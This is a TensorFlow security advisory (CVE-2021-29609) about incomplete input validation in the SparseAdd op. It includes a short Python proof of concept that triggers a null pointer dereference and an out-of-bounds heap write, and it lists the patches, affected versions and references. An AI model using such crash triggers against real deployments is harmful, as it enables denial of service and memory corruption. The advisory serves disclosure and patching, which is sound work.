Incomplete validation in `SparseAdd`
Impact
Incomplete validation in SparseAdd results in allowing attackers to exploit undefined behavior (dereferencing null pointers) as well as write outside of bounds of heap allocated data:
import tensorflow as tf
a_indices = tf.zeros([10, 97], dtype=tf.int64)
a_values = tf.zeros([10], dtype=tf.int64)
a_shape = tf.zeros([0], dtype=tf.int64)
b_indices = tf.zeros([0, 0], dtype=tf.int64)
b_values = tf.zeros([0], dtype=tf.int64)
b_shape = tf.zeros([0], dtype=tf.int64)
thresh = 0
tf.raw_ops.SparseAdd(a_indices=a_indices,
a_values=a_values,
a_shape=a_shape,
b_indices=b_indices,
b_values=b_values,
b_shape=b_shape,
thresh=thresh)
The implementation has a large set of validation for the two sparse tensor inputs (6 tensors in total), but does not validate that the tensors are not empty or that the second dimension of *_indices matches the size of corresponding *_shape. This allows attackers to send tensor triples that represent invalid sparse tensors to abuse code assumptions that are not protected by validation.
Patches
We have patched the issue in GitHub commit 6fd02f44810754ae7481838b6a67c5df7f909ca3 followed by GitHub commit 41727ff06111117bdf86b37db198217fd7a143cc.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
| Python (PyPI) | tensorflow-cpu | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
| Python (PyPI) | tensorflow-gpu | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
References
- https://github.com/tensorflow/tensorflow/commit/41727ff06111117bdf86b37db198217fd7a143cc
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cjc7-49v2-jp64
- https://github.com/tensorflow/tensorflow/commit/6fd02f44810754ae7481838b6a67c5df7f909ca3
- https://nvd.nist.gov/vuln/detail/CVE-2021-29609
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-537.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-735.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-246.yaml
- CVSS vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H- Weakness (CWE)
CWE-665, CWE-787- Platform
- Python (PyPI)
- Package
tensorflow, tensorflow-cpu, tensorflow-gpu- Disclosed
- 14.05.2021
- Updated
- 11.10.2026 13:19
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2021-246 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-537 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-735 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-cjc7-49v2-jp64 - CC BY 4.0
Vulnerability history: tensorflow
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 433
- First → latest
- 04.2019 07.2024
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 6
- High 112
- Medium 210
- Low 105
Disclosures per year
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 169
- 2023: 21
- 2024: 1
- 2025: 0
- 2026: 0
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Incomplete validation in `SparseAdd` this entry
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